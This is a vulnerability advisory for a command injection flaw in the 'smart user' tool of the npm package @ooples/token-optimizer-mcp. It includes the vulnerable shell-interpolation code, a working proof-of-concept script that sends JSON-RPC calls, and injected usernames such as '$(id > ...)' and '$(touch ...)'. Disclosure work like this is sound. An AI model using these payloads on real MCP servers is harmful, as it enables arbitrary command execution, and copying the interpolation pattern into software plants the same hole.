PT-2026-75925 · Npm · @Ooples/Token-Optimizer-Mcp

Published

2026-08-14

·

Updated

2026-08-14

CVSS v3.1

8.4

High

VectorAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart user tool.
The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():
ts
getent passwd "${username}" || grep "^${username}:" /etc/passwd
Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:
text
$(id > /tmp/TOKEN OPTIMIZER SMART USER ID)
and execute arbitrary local commands with the privileges of the user running the MCP server.
This is a CWE-78 OS command injection issue.
Tested version:
text
@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0
This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

Details

The vulnerable code path is in the smart user implementation.
The username argument is eventually passed into a shell command similar to:
ts
const { stdout: passwdOut } = await execAsync(
 `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);
The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.
Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:
bash
"$(id > /tmp/TOKEN OPTIMIZER SMART USER ID)"
"`id`"
Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.
The affected MCP tool call is:
text
tool: smart user
operation: get-user-info
argument: username
Root cause:
text
MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.
Prerequisites:
text
Node.js installed
token-optimizer-mcp built from source
Build from source:
bash
git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build
Run the PoC:
bash
cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js
ID OUT="/tmp/TOKEN OPTIMIZER SMART USER ID $(date +%s) $$"
rm -f "$ID OUT"

echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID OUT"

python3 - "$ID OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token optimizer smart user poc.log
import json
import sys

id out = sys.argv[1]

# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil username = f'$(id > {id out})'

messages = [
  {
    "jsonrpc": "2.0",
    "id": "init",
    "method": "initialize",
    "params": {
      "protocolVersion": "2024-11-05",
      "capabilities": {},
      "clientInfo": {
        "name": "poc",
        "version": "0"
      }
    }
  },
  {
    "jsonrpc": "2.0",
    "method": "notifications/initialized",
    "params": {}
  },
  {
    "jsonrpc": "2.0",
    "id": "poc-smart-user",
    "method": "tools/call",
    "params": {
      "name": "smart user",
      "arguments": {
        "operation": "get-user-info",
        "username": evil username,
        "useCache": False
      }
    }
  }
]

for msg in messages:
  print(json.dumps(msg), flush=True)
PY

sleep 1

if [ -f "$ID OUT" ]; then
 echo "[VULN CONFIRMED] smart user command injection executed:"
 cat "$ID OUT"
 ls -l "$ID OUT"
else
 echo "[FAIL] smart user id output file not created"
 tail -120 /tmp/token optimizer smart user poc.log
fi
Expected result:
text
[VULN CONFIRMED] smart user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN OPTIMIZER SMART USER ID ...
In my test, the MCP response also showed that the payload reached the shell command:
text
Command failed: getent passwd "$(id > /tmp/TOKEN OPTIMIZER SMART USER ID ...)" || grep "^$(id > /tmp/TOKEN OPTIMIZER SMART USER ID ...):" /etc/passwd
The file /tmp/TOKEN OPTIMIZER SMART USER ID ... was created and contained the output of id, confirming command execution as the MCP server user.
A simpler marker-file variant also works:
json
{
 "operation": "get-user-info",
 "username": "$(touch /tmp/TOKEN OPTIMIZER SMART USER PWNED)",
 "useCache": false
}

Impact

This is an OS command injection vulnerability.
Any MCP client that can call the smart user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.
The commands execute with the privileges of the user running the token-optimizer-mcp server.
Confirmed impact:
text
execution of `id` as the MCP server user
arbitrary file creation under /tmp through an injected command

Fix

OS Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-78

Related Identifiers

GHSA-49MQ-FC6Q-3H46

Affected Products

@Ooples/Token-Optimizer-Mcp